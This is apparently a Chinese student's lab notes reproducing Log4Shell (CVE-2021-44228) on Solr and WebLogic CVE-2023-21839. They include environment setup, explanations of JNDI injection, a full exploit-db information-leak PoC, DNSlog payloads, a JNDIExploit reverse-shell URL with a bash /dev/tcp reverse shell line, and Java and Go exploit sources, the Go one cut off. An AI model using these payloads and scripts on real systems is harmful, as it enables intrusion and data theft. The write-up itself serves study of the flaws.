CVE漏洞学习

想把一些常见的CVE以及一些经典漏洞复现,做做笔记

CVE-2021-44228 Log4j2

环境搭建

Apache Log4j2 是一个被广泛使用的开源日志记录库,2017 年 7 月时,有人向 Log4j2 提了支持 JNDI Lookup 的需求,并从 2.0-beta9 之后开始支持;今年阿里的安全研究人员发现该特性会导致远程代码执行,于 2021 年 11 月 24 日向 Apache 报告了该漏洞;12 月 5 日官方发布了补丁;到了 12 月 9 日晚,PoC 的传播范围开始变得不可控,基本上各大厂商都受影响,影响范围很广,于是人们给它起了个名字——Log4Shell。

环境搭建虚拟机版本: ubuntu 20.4
Apache solr版本: 8.11.0

Apache solr 8.11.0下载

这里我采用的是Apache Solr开源服务器

Solr是Apache下的一个顶级开源项目,采用Java开发,它是基于Lucene的全文搜索服务器。Solr提供了比Lucene更为丰富的查询语言,同时实现了可配置、可扩展,并对索引、搜索性能进行了优化。

针对漏洞修复时间[12 月 5 日],和官方更新文档

image-20221201005804892

Apache Solr 8.11.0CVE-2021-44228修复前的最后的一个版本

所以该版本也存在CVE-2021-44228

于是下载

1
https://archive.apache.org/dist/lucene/solr/8.11.0/

image-20221201010242171

JAVA配置

由于Apache solr是基于Java开发的项目,所以需要先下载对应版本的Java

但是针对log4j2存在的版本,需要jdk1.8.0才可以复现

但是

高版本的JDK环境中trustURLCodebase变量为false,限制了远程类的加载,导致JNDI注入利用失败,无法反弹shell
能实现利用条件:版本≤ JDK 6u211、7u201、 8u191、11.0.1
但是过低版本的,solr运行可能会出错

所以这里从官网下载专门的8u171

解压到对应目录

1
tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/local/jdk/

image-20221221161421513

部署并修改环境变量

1
2
3
4
5
6
7
8
9
10
sudo vi ~/.bashrc
在文件末尾追加下面4行内容
## 这里要注意目录要换成自己解压的jdk 目录
export JAVA_HOME=/usr/local/jdk/jdk1.8.0_171
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
#使其上面环境变量设置生效
source ~/.bashrc
sudo update-alternatives --install /usr/bin/java java /usr/local/jdk/jdk1.8.0_171/bin/java 300

查看版本

1
java -version

image-20221221161638879

Solr下载

下载solr 8.11.0

1
sudo wget https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.tgz

image-20221201111930502

image-20221201112302036

然后就解压

1
sudo tar xzf solr-8.11.0.tgz

image-20221201112554067

安装 Apache Solr服务

1
sudo bash solr-8.11.0/bin/install_solr_service.sh solr-8.11.0.tgz

image-20221201112725299

查看服务状态

1
sudo systemctl status solr

image-20221201112839632

发现服务已经存在

启动

1
2
sudo /lib/systemd/systemd-sysv-install enable solr
#若执行sudo systemctl enable solr会提示不是本机服务,需要按上面方式启动运行

因为solr默认运行的端口为8983

查看环境搭建的虚拟机ip

1
ip a

image-20221201113319037

得到环境搭建靶机ip

1
192.168.80.131

成功

浏览器访问

1
http://192.168.80.131:8983

image-20221220220624019

搭建成功

内网环境中的攻击机也成功访问

image-20221201115827107

环境搭建完毕

了解漏洞描述与注入原理

Apache Log4j 2Java语言的日志处理套件,使用极为广泛。在其2.02.14.1版本中存在一处JNDI注入漏

洞,攻击者在可以控制日志内容的情况下,通过传入类似于

${jndi:ldap://evil.com/example}lookup用于进行JNDI注入,执行任意代码。

Log4j2 Lookup

Log4j2 LookupLog4j2的一项功能,允许您在日志消息中使用动态值Log4j2提供了许多内置的Lookup

象,用于查找不同类型的值

例如SystemPropertiesLookup.lookup("user.home")方法返回了系统属性user.home的值,并将其插入日志

消息中。

JNDI

开始我也看不太懂JNDI任意代码执行语句意思

先了解一下JNDI是什么以及其组成

JNDIJava命名和目录接口),是Java提供的一个目录服务应用程序接口(API

它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

其中大致有
远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS

其大致组成为

1
2
3
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

所以如果能控制jndiName,再利用rmi之类的加载远程恶意类,从而执行恶意类的命令,故而实现远程代码执行

JNDI注入

结合lookupjndi

对于payload

${jndi:ldap://evil.com/example}Log4j2中使用的占位符语法。它表示在日志消息中插入一个使用

JNDILookup对象查找的值

ldap://evil.com/exampleJNDI查找所使用的名称。这意味着Log4j2将在JNDI上下文中查找名为example

的对象,该对象位于evil.com服务器上,就可能实现访问一些敏感信息以及其他恶意操作的目的

脚本分析

这里调用**exploitdb**中的对Log4j2利用的脚本,这是一个信息泄露的脚本

发布时间: 12/12/2021

【ps.这个脚本可能是作者上传到exp的时候空格问题,需要稍微修改一下就可以用了】

image-20221204224323306

脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'


class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
def handle(self) -> None:
print(f' i| new connection from {self.client_address[0]}')

sock = self.request
sock.recv(1024)
sock.sendall(LDAP_HEADER)

data = sock.recv(1024)
data = data[9:] # strip header

# example response
#
# ('Java version 11.0.13\n'
# '\x01\x00\n'
# '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
# 'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

data = data.decode(errors='ignore').split('\n')[0]
print(f' v| extracted value: {data}')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass


def main():
parser = argparse.ArgumentParser(description='a simple log4j
<=2.14 information disclosure poc '
'(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
parser.add_argument('--target', '-t', required=True, help='target uri')
parser.add_argument('--listen-host', default='0.0.0.0',
help='exploit server host to listen on
(default: 127.0.0.1)')
parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
help='host where (this) exploit server is reachable')
parser.add_argument('--leak', '-l', default='${java:version}',
help='value to leak. '
'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
'(default: ${java:version})')
args = parser.parse_args()

print(f' i| starting server on {args.listen_host}:{args.listen_port}')
server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

serv_thread = threading.Thread(target=server.serve_forever)
serv_thread.daemon = True
serv_thread.start()
time.sleep(1)
print(f' i| server started')

payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
print(f' i| sending exploit payload {payload} to {args.target}')

try:
r = requests.get(args.target, headers={'User-Agent': payload})
print(f' i| response status code: {r.status_code}')
print(f' i| response: {r.text}')
except Exception as e:
print(f' e| failed to make request: {e}')
finally:
server.shutdown()
server.server_close()


if __name__ == '__main__':
main()

信息泄露脚本分析

LDAP_HEADER

定义 LDAP_HEADER 常量,这是响应 LDAP 请求时使用的头信息

1
LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'

ThreadedTCPRequestHandler

这里定义ThreadedTCPRequestHandler 类的 handle() 方法用于处理来自客户端的连接。

该方法首先输出来自客户端的连接信息,然后通过调用 sock.recv()sock.sendall() 方法读取客户端发送

的数据,并发送响应数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
def handle(self) -> None:
print(f' i| new connection from {self.client_address[0]}')

sock = self.request
sock.recv(1024)
sock.sendall(LDAP_HEADER)

data = sock.recv(1024)
data = data[9:] # strip header

# example response
#
# ('Java version 11.0.13\n'
# '\x01\x00\n'
# '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
# 'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

data = data.decode(errors='ignore').split('\n')[0]
print(f' v| extracted value: {data}')

ThreadedTCPServer

ThreadedTCPServer 类是一个多线程 TCP 服务器,它继承自 socketserver.ThreadingMixIn

socketserver.TCPServer 类。这意味着它可以同时处理多个客户端连接。

1
2
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass

main()

main()函数使用模块设置命令行参数解析器argparse,然后解析命令行参数。

1
2
def main():
parser = argparse.ArgumentParser(description='a simple log4j<=2.14 information disclosure poc ' '(ref:https://twitter.com/Black2Fan/status/1470281005038817284)')

下面的类似-t,-lh,-lp等等就是解析器设置为接受命令行参数

1
2
3
4
5
6
7
8
    parser.add_argument('--target', '-t', required=True, help='target uri')
parser.add_argument('--listen-host', default='0.0.0.0',help='exploit server host to listen on(default: 127.0.0.1)')
parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',help='host where (this) exploit server is reachable')
parser.add_argument('--leak', '-l', default='${java:version}',
help='value to leak. ''see:https://twitter.com/Rayhan0x01/status/1469571563674505217 ''(default: ${java:version})')

parse_args() 方法用于解析命令行参数,并将解析后的参数值存储在一个名为 args 的变量中

例如,在执行脚本后加的命令行参数--listen-port 8080就转变为了args.listen_port = 8080,这样在后续

代码调用不同参数时,可直接调用arg来实现

1
args = parser.parse_args()

这里先创建一个基于线程的 TCP 服务器,并使用 args.listen_hostargs.listen_port 来指定的主机和端

口启动,并使用 ThreadedTCPRequestHandler 类来处理每个请求【也就是前面提到的】

1
2
3
    print(f' i| starting server on {args.listen_host}:{args.listen_port}')
server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

这里主要是先创建一个 threading.Thread 对象,并将服务器的 serve_forever() 方法作为其目标。这个方法

就是字面意思,它会一直运行,直到服务器被关闭。

1
serv_thread = threading.Thread(target=server.serve_forever)

daemon 属性是 Python 中的线程特有属性,它表示该线程是否为守护线程,如果一个线程是守护线程,

那么当程序退出时,它也会被中断。

而这里的被设置为ture,所以这意味着程序退出时,线程将被中断。

1
serv_thread.daemon = True

然后就是启动线程,并延迟 1 秒钟,来确保服务器完全启动

1
2
3
4
5
6
serv_thread.start()
time.sleep(1)
print(f' i| server started')

payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
print(f' i| sending exploit payload {payload} to {args.target}')

这里使用 try-finally 语句块向服务器发送payload:

${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}

并打印服务器的响应状态码,以及响应的文本内容

最后调用服务器的 shutdown()server_close() 方法,以关闭服务器,即使在发送 HTTP 请求时发生异常也是如此。

1
2
3
4
5
6
7
8
9
try:
r = requests.get(args.target, headers={'User-Agent': payload})
print(f' i| response status code: {r.status_code}')
print(f' i| response: {r.text}')
except Exception as e:
print(f' e| failed to make request: {e}')
finally:
server.shutdown()
server.server_close()

这里就是一个常见的语句,如果脚本是独立执行的,则直接就调用 main() 函数。

1
2
if __name__ == '__main__':
main()

渗透测试

利用DNSlog验证漏洞

访问http://www.dnslog.cn/

Get SubDomain获取一个子域名

image-20221220145121926

但是既然是注入,那肯定是存在参数注入点,查看官方solr文档,得到在cores

image-20221220145505204

1
/admin/cores?action=

其中action参数可控,有很大可能是注入点

于是把我们的dnslog获取的子域名按payload形式添加到url后参数中

1
http://192.168.80.131:8983/solr/admin/cores?action=${jndi:ldap://4d5do5.dnslog.cn}

访问查看

DNSlog收到了访问请求

image-20221220145131607

同时在靶机页面下也有DNSlog子域名回显,虽然是

image-20221220145054026

说明这里的${jndi:ldap://eavgk6.dnslog.cn},确实达到了访问的作用

故此推断log4j2漏洞存在

信息泄露漏洞

这里可以利用脚本分析中exploitdb里的信息泄露脚本即可

按照脚本原理也是利用占位符,也就是payload的形式,但是参数为系统属性,这些属性会自动返回对应的值,

最后脚本通过对返回数据的解析,就可以得到敏感数据

当然直接通过访问得到消息也是可以的

比如${sys:os.version},就得到我们靶机的系统内核版本号为5.15.0-56-generic

1
http://192.168.80.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:os.version}.7b09py.dnslog.cn}

image-20221220220840849

对于usr.name,以及os.name等等都是可以实现

1
http://192.168.80.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:user.name}.7b09py.dnslog.cn}

image-20221220175405653

以下就是在log4j2其他可用系统属性列表

image-20221220170944260

远程代码执行漏洞

1
2
3
攻击机kali ip:192.168.80.128
攻击机kali 监听端口:8888
靶机ubuntu ip:192.168.80.131

JNDIExploit-1.2-SNAPSHOT.jar利用JNDI注入反弹shell

该工具的原理我剖析了一下,

先启动工具

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.80.128

image-20221221163132059

简单来讲就是在攻击机【192.168.80.128】的1389端口搭建起了一个服务器,其中放置了一个恶意类,

通过利用靶机网站JNDI注入漏洞把这个恶意类进行远程加载,从而执行了命令

利用JNDIExploit-1.2-SNAPSHOT.jar最好的就是简化了1.0的繁杂参数

只需要构造payload

1
http://192.168.80.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.80.128:1389/Basic/ReverseShell/192.168.80.128/6666}

/Basic/ReverseShell/中其实就包含反弹shell的命令

1
2
3
4
5
bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1
*这里的
/xx.xx.xx.xx/xxxx
就是其后跟上的参数
/192.168.80.128/6666

于是就是/Basic/ReverseShell/192.168.80.128/6666被恶意类包含

然后在攻击机监听6666端口

image-20221221203418508

最后访问payload,触发

image-20221221203458628

成功反弹到shell

image-20221221203538282

测试完毕

CVE-2023-21839 Weblogic远程代码执行漏洞

Windows

该漏洞的影响范围为Weblogic 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

先在官方的进行修复更新文档中进行查看

Oracle Critical Patch Update Advisory - January 2023

image-20230226154457424

CVE-2023-21839 Oracle WebLogic Server 核心 T3, IIOP 是的 7.5 网络 没有 没有 未 更改 没有 没有 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0
CVE-id 产品 元件 协议 无需身份验证即可远程利用。 评分 攻击向量 攻复合体 Privs’Req[权限提提升] 用户交互 范围 倾诉 内涵 可用性 版本

概念

weblogic是什么?

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

T3的概念和交互过程

T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。这也为我们静态分析t3协议带来了很多麻烦

RMI在log4j中提到,它是一个调用远程类的一个Java的方法

交互方式

image-20230226152124965

iiop概念

用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。

这个协议的最初阶段是要建立以下几个组件部分:一个IIOP到HTTP的网关,使用这个网关可以让CORBA客户访问WWW资源;一个HTTP到IIOP的网关,通过这个网关可以访问CORBA资源;一个为IIOP和HTTP提供资源的服务器,一个能够将IIOP作为可识别协议的浏览器。

什么是CORBA

CORBA(Common ObjectRequest Broker Architecture公共对象请求代理体系结构)是由OMG组织制订的一种标准的面向对象应用程序体系规范。或者说CORBA体系结构是对象管理组织(OMG)为解决分布式处理环境(DCE)中,硬件和软件系统的互连而提出的一种解决方案;OMG组织是一个国际性的非盈利组织,其职责是为应用开发提供一个公共框架,制订工业指南和对象管理规范,加快对象技术的发展。

环境搭建

从官网下载Weblogic 12.2.1.3.0

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

image-20230226141556869

然后解压其中的jar包,然后到/disk1/install下执行cmd脚本就行

但是需要注意,由于Weblogic中的maven的存在,其识别jdk时,只针对环境变量名JAVA_HOME的路径进行识别,而如果是在PATH中配置的,会报错找不到java环境的位置

1
ERROR: Cannot determine the Java Home ERROR: Specify the -jreLoc option

image-20230226142921961

然后再次管理员执行时发现失败,查看报错日志

java.lang.NullPointerException: Cannot invoke “java.lang.reflect.Method.invoke(Object, Object[])” because “com.sun.xml.bind.v2.runtime.reflect.opt.Injector.defineClass” is null[[

猜测应该是我的java自身的问题

stack中了解到了,在java9的时候,JAXB(Java Architecture for XML Binding)[java映射为xml的表示方式]

java9已经被标记为弃用,在java11的时候已经被删除,所以需要换到低版本的java或者在依赖项添加xml库,让其重新映射

New APIs in Java 11 - javaalmanac.io

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.sun.xml.bind</groupId>
<artifactId>jaxb-impl</artifactId>
<version>2.3.1</version>
</dependency>
<dependency>
<groupId>com.sun.xml.messaging.saaj</groupId>
<artifactId>saaj-impl</artifactId>
<version>1.5.1</version>
</dependency>

【建议下载jdk8低版本最方便,记得再次修改JAVA_HOME环境变量】

注意,这个和log4j的原因一样,是加载远程恶意类导致远程命令的执行,所以对java是否开启加载远程类,也就是要注意对应的版本

版本≤ JDK 6u211、7u201、 8u191、11.0.1

所以我这里复现的环境和apache的log4j2一样,是JDK-8u171,配置方式如cve-2021-44228

安装搭建按流程按引导

1
http://localhost:7001/console

image-20230226165115723

渗透流程

这是2023年一月的洞,我是二月复现的,目前大致就两种payload工具,一个java的,一个go

仔细分析一下漏洞的利用条件和形成原因,以及两个工具的脚本的原理

go的4ra1n/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE) (github.com)

java的DXask88MA/Weblogic-CVE-2023-21839 (github.com)

两者大差不差,但是个人感觉go更舒服一些

在公网上,IIOP协议和NAT转换之间存在冲突的网络问题,

一般只能修改源码或者尝试iiop协议net绕过Weblogic IIOP 协议NAT 网络绕过 - 先知社区 (aliyun.com)

【冲突原因学习记在keynotes上,大致就是两者之间的ip指向和ip转换冲突,一个根据自身规则发送数据到私网ip,另一个根据自身规则把私网ip又变为公网ip,从而通讯连接失败】

用go进行重写iiop的一些协议,从而避免在对公网或者docker进行操作的时候出现连接网络错误,当然java也是可以修改iiop规则的,视情况和能力而定

远程代码执行原理

利用该漏洞允许未经身份验证的攻击者通过 T3、IIOP 进行网络访问,从而危害 Oracle WebLogic Server。成功攻击此漏洞可导致未经授权访问关键数据或完全访问所有 Oracle WebLogic Server 可访问数据

JAVA

(不好的就是需要对应java版本跑,每个版本Java都要删去一些东西,还是go整洁的包舒服)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;

public class CVE_2023_21839 {
// JNDI_FACTORY类,用于创建InitialContext
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 使用说明
static String HOW_TO_USE = "[*]java -jar 目标ip:端口 ldap地址\n" +
"e.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

// 获取InitialContext对象
private static InitialContext getInitialContext(String url) throws NamingException {
// 设置JNDI环境参数
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}

// 主函数
public static void main(String args[]) throws Exception {
// 检查命令行参数是否足够
if (args.length < 2) {
System.out.println(HOW_TO_USE);
System.exit(0);
}

// 从命令行参数获取t3协议地址和LDAP地址
String t3Url = args[0];
String ldapUrl = args[1];

// 创建t3协议的InitialContext
InitialContext c = getInitialContext("t3://" + t3Url);

// 设置新的JNDI环境参数
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

// 创建ForeignOpaqueReference对象
weblogic.deployment.jms.ForeignOpaqueReference f = new weblogic.deployment.jms.ForeignOpaqueReference();

// 使用反射获取并设置ForeignOpaqueReference的私有字段jndiEnvironment
Field jndiEnvironment = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env);

// 使用反射获取并设置ForeignOpaqueReference的私有字段remoteJNDIName
Field remoteJNDIName = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f, ldapUrl);

// 生成一个随机的绑定名
String bindName = new Random(System.currentTimeMillis()).nextLong() + "";

try {
// 尝试绑定ForeignOpaqueReference对象到InitialContext
c.bind(bindName, f);
// 尝试查找绑定的对象
c.lookup(bindName);
} catch (Exception e) {
// 异常处理,可以根据实际情况修改
}
}
}

GO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
package main

import (
"CVE-2023-21839"
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"net"
"strings"
)

var (
hostConfig string
portConfig int
ldapConfig string
)

var (
key1 string
key2 string
key3 string
wlsKey1 string
wlsKey2 string
)

var (
ServiceContext0 = &giop.ServiceContext{
VSCID: giop.D("000000"),
SCID: giop.D("05"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("000000000000010000000d3137322e32362e3131322e310000ec5b"),
}
ServiceContext1 = &giop.ServiceContext{
VSCID: giop.D("000000"),
SCID: giop.D("01"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("0000000001002005010001"),
}
ServiceContext2 = &giop.ServiceContext{
VSCID: giop.D("424541"),
SCID: giop.D("00"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("0a0301"),
}
)

func main() {
flag.StringVar(&hostConfig, "ip", "", "ip")
flag.IntVar(&portConfig, "port", 7001, "port")
flag.StringVar(&ldapConfig, "ldap", "", "ldap")
flag.Parse()

if hostConfig == "" || ldapConfig == "" {
fmt.Println("Weblogic CVE-2023-21839")
flag.Usage()
return
}

if !strings.HasPrefix(ldapConfig, "ldap") {
fmt.Println("Weblogic CVE-2023-21839")
flag.Usage()
}

fmt.Printf("[*] your-ip: %s\n", hostConfig)
fmt.Printf("[*] your-port: %d\n", portConfig)
fmt.Printf("[*] your-ldap: %s\n", ldapConfig)

vp := "743320392e322e302e300a41533a3235350a484c3a39320a4d5" +
"33a31303030303030300a50553a74333a2f2f746573743a373030310a0a"
ver := giop.GetVersion(hostConfig, vp, portConfig)
if ver == "12" {
fmt.Println("[*] weblogic 12")
wlsKey1 = "00424541080103000000000c41646d696e53657276657200000000000000003349" +
"444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" +
"6f6e74657874416e793a312e3000000000000238000000000000014245412c0000001000" +
"00000000000000{{key1}}"
wlsKey2 = "00424541080103000000000c41646d696e53657276657200000000000000003349" +
"444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" +
"6f6e74657874416e793a312e30000000000004{{key3}}000000014245412c0000001000" +
"00000000000000{{key1}}"
} else if ver == "14" {
fmt.Println("[*] weblogic 14")
wlsKey1 = "00424541080103000000000c41646" +
"d696e53657276657200000000000000003349444c3a7765626c" +
"6f6769632f636f7262612f636f732f6e616d696e672f4e616d6" +
"96e67436f6e74657874416e793a312e30000000000002380000" +
"00000000014245412e000000100000000000000000{{key1}}"
wlsKey2 = "00424541080103000000000c41646d696e53657276657" +
"200000000000000003349444c3a7765626c6f6769632f636f72" +
"62612f636f732f6e616d696e672f4e616d696e67436f6e74657" +
"874416e793a312e30000000000004{{key3}}00000001424541" +
"2e000000100000000000000000{{key1}}"
} else {
fmt.Println("[!] error and exit")
}

host := hostConfig
port := portConfig
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
rmi := ldapConfig
// [ldap len] [ldap string]
ldap := hex.EncodeToString([]byte{byte(len(rmi))})
ldap += hex.EncodeToString([]byte(rmi))
if err != nil {
return
}

locateRequest := &giop.LocateRequest{
Header: &giop.Header{
Magic: giop.D(giop.GIOP),
MajorVersion: []byte{giop.MajorVersion},
MinorVersion: []byte{giop.MinorVersion},
MessageFlags: []byte{giop.BigEndianType},
MessageType: []byte{giop.LocateRequestType},
},
RequestId: giop.Int32(2),
TargetAddress: giop.D(giop.KeyAddr),
KeyAddress: giop.D(giop.NameService),
}

giop.Log(2, "LocateRequest")
_, _ = conn.Write(locateRequest.Bytes())
buf := make([]byte, 1024*10)
_, _ = conn.Read(buf)

temp1 := make([]byte, 8)
temp2 := make([]byte, 8)

// GIOP Header
// IOR Prefix
iOff := 0x60
for buf[iOff] != 0x00 {
// ProfileHost
iOff++
}
if iOff > 1024*10 {
return
}
for buf[iOff] == 0x00 {
iOff++
}
p := make([]byte, 2)
p[0] = buf[iOff]
iOff++
p[1] = buf[iOff]

tempPort := int(binary.BigEndian.Uint16(p))

if tempPort != port {
return
}

lt := iOff - 0x60
fOff := 0x60 + lt + 0x75
// other cases
for buf[fOff] == 0x00 {
fOff++
}

// Fake ObjectKey1
copy(temp1[0:8], buf[fOff:fOff+8])
copy(temp2[4:8], buf[fOff+4:fOff+8])
// Fake ObjectKey2
copy(temp2[0:4], []byte{0xff, 0xff, 0xff, 0xff})
key1 = giop.E(temp1)
key2 = giop.E(temp2)

wlsKey1 = strings.ReplaceAll(wlsKey1, "{{key1}}", key1)

rebindAny := &giop.RebindRequest{
Header: &giop.Header{
Magic: giop.D(giop.GIOP),
MajorVersion: []byte{giop.MajorVersion},
MinorVersion: []byte{giop.MinorVersion},
MessageFlags: []byte{giop.BigEndianType},
MessageType: []byte{giop.RequestType},
},
RequestId: giop.Int32(3),
ResponseFlags: []byte{giop.WithTargetScope},
TargetAddress: giop.D(giop.KeyAddr),
KeyAddress: giop.D(wlsKey1),
RequestOperation: giop.D(giop.RebindAnyOp),
ServiceContextList: &giop.ServiceContextList{
SequenceLength: giop.Int32(6),
ServiceContext: []*giop.ServiceContext{
ServiceContext0,
ServiceContext1,
{
VSCID: giop.D("000000"),
SCID: giop.D("06"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("0000000000002849444c3a6f6d672e6f72672f53656e64696e67436" +
"f6e746578742f436f6465426173653a312e30000000000100000000000000b8000102000000000" +
"d3137322e32362e3131322e310000ec5b000000640042454108010300000000010000000000000" +
"0000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f646542617" +
"3653a312e30000000000331320000000000014245412a0000001000000000000000005eedafdeb" +
"c0d227000000001000000010000002c00000000000100200000000300010020000100010501000" +
"10001010000000003000101000001010905010001"),
},
{
VSCID: giop.D("000000"),
SCID: giop.D("0f"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("00000000000000000000000000000100000000000000000100000000000000"),
},
{
VSCID: giop.D("424541"),
SCID: giop.D("03"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("00000000000000" + key2 + "00000000"),
},
ServiceContext2,
},
},
StubData: giop.D("0000000000000001000000047465737400000001000000000000001d0000001c00000000000000010" +
"0000000000000010000000000000000000000007fffff0200000054524d493a7765626c6f6769632e6a6e64692e69" +
"6e7465726e616c2e466f726569676e4f70617175655265666572656e63653a4432333744393143423246304636384" +
"13a3344323135323746454435393645463100000000007fffff020000002349444c3a6f6d672e6f72672f434f5242" +
